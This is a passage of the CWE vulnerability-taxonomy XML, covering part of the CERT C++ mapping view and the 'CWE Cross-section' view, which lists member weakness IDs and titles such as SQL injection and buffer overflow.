						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>879</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 11 - Signals (SIG)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>880</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>881</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 13 - Object Oriented Programming (OOP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>The relationships in this view were determined based on specific
						statements within the rules from the standard. Not all rules have direct
						relationships to individual weaknesses, although they likely have chaining
						relationships in specific circumstances.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <References>
				        <Reference>
					          <Reference_Title>The CERT C++ Secure Coding Standard</Reference_Title>
					          <Reference_Link>https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=637</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2011-08-04</Submission_Date>
				        </Submission>
			      </Content_History>
		    </View>
                    <View ID="884" Name="CWE Cross-section" Status="Incomplete">
			      <View_Structure>Explicit_Slice</View_Structure>
			      <View_Objective>
				        <Text>This view contains a selection of weaknesses that represent the variety of
					weaknesses that are captured in CWE, at a level of abstraction that is likely to
					be useful to most audiences. It can be used by researchers to determine how
					broad their theories, models, or tools are. It will also be used by the CWE
					content team in 2012 to focus quality improvement efforts for individual CWE
					entries.</Text>
			      </View_Objective>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>14</Relationship_Target_ID>
					          <!--Compiler Removal of Code to Clear Buffers-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>22</Relationship_Target_ID>
					          <!--Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>36</Relationship_Target_ID>
					          <!--Absolute Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>41</Relationship_Target_ID>
					          <!--Improper Resolution of Path Equivalence-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>78</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>88</Relationship_Target_ID>
					          <!--Argument Injection or Modification-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>89</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>90</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>94</Relationship_Target_ID>
					          <!--Improper Control of Generation of Code ('Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>95</Relationship_Target_ID>
					          <!--Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>96</Relationship_Target_ID>
					          <!--Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>99</Relationship_Target_ID>
					          <!--Improper Control of Resource Identifiers ('Resource Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>113</Relationship_Target_ID>
					          <!--Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>117</Relationship_Target_ID>
					          <!--Improper Output Neutralization for Logs-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>120</Relationship_Target_ID>
					          <!--Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>129</Relationship_Target_ID>
					          <!--Improper Validation of Array Index-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>131</Relationship_Target_ID>
					          <!--Incorrect Calculation of Buffer Size-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>134</Relationship_Target_ID>
					          <!--Uncontrolled Format String-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>135</Relationship_Target_ID>
					          <!--Incorrect Calculation of Multi-Byte String Length-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>170</Relationship_Target_ID>
					          <!--Improper Null Termination-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>173</Relationship_Target_ID>
					          <!--Improper Handling of Alternate Encoding-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>174</Relationship_Target_ID>
					          <!--Double Decoding of the Same Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>175</Relationship_Target_ID>
					          <!--Improper Handling of Mixed Encoding-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>179</Relationship_Target_ID>
					          <!--Incorrect Behavior Order: Early Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>185</Relationship_Target_ID>
					          <!--Incorrect Regular Expression-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>190</Relationship_Target_ID>
					          <!--Integer Overflow or Wraparound-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>191</Relationship_Target_ID>
					          <!--Integer Underflow (Wrap or Wraparound)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>193</Relationship_Target_ID>
					          <!--Off-by-one Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>203</Relationship_Target_ID>
					          <!--Information Exposure Through Discrepancy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>212</Relationship_Target_ID>
					          <!--Improper Cross-boundary Removal of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>222</Relationship_Target_ID>
					          <!--Truncation of Security-relevant Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>223</Relationship_Target_ID>
					          <!--Omission of Security-relevant Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>228</Relationship_Target_ID>
					          <!--Improper Handling of Syntactically Invalid Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>244</Relationship_Target_ID>
					          <!--Improper Clearing of Heap Memory Before Release ('Heap Inspection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>248</Relationship_Target_ID>
					          <!--Uncaught Exception-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>250</Relationship_Target_ID>
					          <!--Execution with Unnecessary Privileges-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>252</Relationship_Target_ID>
					          <!--Unchecked Return Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>253</Relationship_Target_ID>
					          <!--Incorrect Check of Function Return Value-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>262</Relationship_Target_ID>
					          <!--Not Using Password Aging-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>263</Relationship_Target_ID>
					          <!--Password Aging with Long Expiration-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>266</Relationship_Target_ID>
					          <!--Incorrect Privilege Assignment-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>267</Relationship_Target_ID>
					          <!--Privilege Defined With Unsafe Actions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>268</Relationship_Target_ID>
					          <!--Privilege Chaining-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>270</Relationship_Target_ID>
					          <!--Privilege Context Switching Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>271</Relationship_Target_ID>
					          <!--Privilege Dropping / Lowering Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>273</Relationship_Target_ID>
					          <!--Improper Check for Dropped Privileges-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>283</Relationship_Target_ID>
					          <!--Unverified Ownership-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>290</Relationship_Target_ID>
					          <!--Authentication Bypass by Spoofing-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>294</Relationship_Target_ID>
					          <!--Authentication Bypass by Capture-replay-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>296</Relationship_Target_ID>
					          <!--Improper Following of Chain of Trust for Certificate Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>299</Relationship_Target_ID>
					          <!--Improper Check for Certificate Revocation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>300</Relationship_Target_ID>
					          <!--Channel Accessible by Non-Endpoint ('Man-in-the-Middle')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>301</Relationship_Target_ID>
					          <!--Reflection Attack in an Authentication Protocol-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>304</Relationship_Target_ID>
					          <!--Missing Critical Step in Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>306</Relationship_Target_ID>
					          <!--Missing Authentication for Critical Function-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>307</Relationship_Target_ID>
					          <!--Improper Restriction of Excessive Authentication Attempts-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>308</Relationship_Target_ID>
					          <!--Use of Single-factor Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>312</Relationship_Target_ID>
					          <!--Cleartext Storage of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>319</Relationship_Target_ID>
					          <!--Cleartext Transmission of Sensitive Information-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>322</Relationship_Target_ID>
					          <!--Key Exchange without Entity Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>323</Relationship_Target_ID>
					          <!--Reusing a Nonce, Key Pair in Encryption-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>325</Relationship_Target_ID>
					          <!--Missing Required Cryptographic Step-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>327</Relationship_Target_ID>
					          <!--Use of a Broken or Risky Cryptographic Algorithm-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>331</Relationship_Target_ID>
					          <!--Insufficient Entropy-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>334</Relationship_Target_ID>
					          <!--Small Space of Random Values-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>335</Relationship_Target_ID>
					          <!--PRNG Seed Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>338</Relationship_Target_ID>
					          <!--Use of Cryptographically Weak PRNG-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">884</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>HasMember</Relationship_Nature>
					          <Relationship_Target_ID>341</Relationship_Target_ID>
					          <!--Predictable from Observable State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
